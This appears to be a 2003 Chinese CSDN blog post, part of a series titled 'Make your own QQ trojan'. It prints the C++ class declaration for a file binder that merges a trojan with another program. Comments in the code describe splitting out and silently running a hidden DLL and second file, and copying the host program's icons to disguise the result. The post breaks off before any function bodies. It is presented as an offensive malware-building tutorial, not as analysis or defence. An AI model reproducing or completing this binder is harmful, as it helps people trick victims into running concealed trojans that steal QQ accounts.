CSDN博客

img fengzi_zhu

自己动手做QQ木马--文件绑定篇(-)

发表于2003/3/28 9:22:00  3664人阅读

分类: QQ木马

自己动手做QQ木马--文件绑定篇

 

    在本篇中我将详细分析一下CBindFile类的实现细节。

先看看CBindFile类的声明吧!

class CBindFile : public CObject 

{

public:

      CBindFile();

      virtual ~CBindFile();

 

   static const char *const szFlag;            //文件被绑定过的标志

      static const unsigned int lenOrigin; //未绑定动态连接库时的文件大小

static const unsigned int lenOriginAddDll;  //绑定了动态连接库后的//文件大小

private:

   TCHAR my_name[MAX_PATH];           //自身文件名字

      TCHAR szMyFilePath[MAX_PATH];       //自身文件路径

      HANDLE hFileMyself;                   //自身文件句柄

 

   BYTE *buf;                          //读取文件数据缓冲

 

      CString strToBindFilePath;            //保存要绑定的文件名

      CString strFinalFilePath;              //保存最终合成文件名

      char m_Ext[4];                        //保存被绑定文件的扩展名

 

      CString strUnbindFilePath_Dll;         //分解出的DLL文件名

      CString strUnbindFilePath_Sec;         //分解出的Sec文件名

 

PROCESS_INFORMATION piRunProc;  //分解出的第二个文件运行//的进程信息

public:

      bool Initiate();                   //判断文件是绑定还是分解

      bool CloneMySelf_and_Run();     //克隆一个原文件并运行它

                                       //取得分解出文件运行的进程信息

      voidGetRunFileProcessInfo(PROCESS_INFORMATION&pi) const;

      CString GetSecFilePath() const;

private:

      bool Unbind_and_Run();         //分解已合并的文件,同时运行它们

   bool Bind_File();                //将自己和另一个文件绑定在一起

                                      //创建分解文件时的进程

      bool Create_Process(const char* temp_Run, BOOL bDirectRun);

      //判断是否是指定的文件名

      bool IsSpecFileName(const TCHAR * const szSpecFileName) const;

 

      void Modify_MyIcon(BYTE* &buf); //修改自身文件中的所有的图标

//在被绑定的PE文件中找到与自身文件中相匹配的图标

   BYTE* Find_Match_Icon(HMODULE hExeToBind, const RESDIR *pResDir);

 //枚举图标的回调函数                            

      static BOOL CALLBACK EnumIconProc( HMODULE hExe,

             LPCTSTR lpszType, 

             LPTSTR lpszName, 

             LPARAM lParam );

};

 

后面三个与图标相关的函数暂时不介绍,留在后面的攫取图标篇中详细说明。下面讲解几个重要的成员函数

1Initiate()

在第一篇中我已经讲过Initiate()成员函数是重点,它是整个类的枢纽。通过判断本程序文件的大小来分别执行相关的操作,且看下图:Initiate()函数流程图.jpg

0 0

相关博文

我的热门文章

img
取 消
img